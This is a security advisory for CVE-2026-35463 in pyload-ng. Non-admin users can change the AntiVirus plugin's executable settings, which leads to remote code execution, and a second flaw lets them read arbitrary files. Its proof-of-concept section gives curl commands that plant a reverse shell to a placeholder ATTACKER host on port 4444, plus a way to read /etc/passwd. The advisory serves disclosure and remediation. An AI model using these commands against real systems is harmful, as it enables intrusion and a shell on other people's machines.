---
id: CVE-2026-35463
aliases:
  - GHSA-w48f-wwwf-f5fr
  - PYSEC-2026-2267
title: 'pyLoad: Improper Neutralization of Special Elements used in an OS Command'
summary: 'pyLoad: Improper Neutralization of Special Elements used in an OS Command'
severity: high
cvss: 8.8
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'
vendor: pyload-ng
product: pyload-ng
ecosystem: pip
affected:
  - pyload-ng <= 0.5.0b3.dev96
published: '2026-04-04'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-w48f-wwwf-f5fr'
references:
  - url: 'https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-35463'
  - url: >-
      https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1
  - url: 'https://github.com/pyload/pyload'
tags:
  - osv
  - pip
epss: 0.00815
epssPercentile: 0.55601
ingestedAt: '2026-07-13T18:58:04.039Z'
---

## Overview

### Summary

The `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

### Details

**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**

```python
ADMIN_ONLY_OPTIONS = {
    "reconnect.script",      # Blocks script path change
    "webui.host",            # Blocks bind address change
    "ssl.cert_file",         # Blocks cert path change
    "ssl.key_file",          # Blocks key path change
    # ... other sensitive options
}
```

**Where it IS enforced — core config (core/api/__init__.py:255):**

```python
def set_config_value(self, section, option, value):
    if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
        if not self.user.is_admin:
            raise PermissionError("Admin only")
    # ...
```

**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**

```python
    # Plugin config - NO admin check at all
    self.pyload.config.set_plugin(category, option, value)
```

**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**

```python
def scan_file(self, file):
    avfile = self.config.get("avfile")    # User-controlled via plugin config
    avargs = self.config.get("avargs")
    subprocess.Popen([avfile, avargs, target])  # RCE
```

### PoC

```bash
# As non-admin user with SETTINGS permission:

# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.activated' \
  -d 'value=True'

# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
  -d 'name=test' \
  -d 'links=http://example.com/test.zip'

# Result: reverse shell as the pyload process user
```

### Additional Finding: Arbitrary File Read via storage_folder

The `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.

### Impact

- **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config
- **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access
- **Arbitrary file read** — Via storage_folder manipulation

### Remediation

Apply `ADMIN_ONLY_OPTIONS` to plugin config as well:

```python
# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
    "AntiVirus.avfile",
    "AntiVirus.avargs",
    # ... any plugin option that controls executables or paths
}

if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
    if not self.user.is_admin:
        raise PermissionError("Admin only")
```

Or better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.

## Affected packages

- `pyload-ng <= 0.5.0b3.dev96`

## Remediation

Refer to the advisory for the patched release.
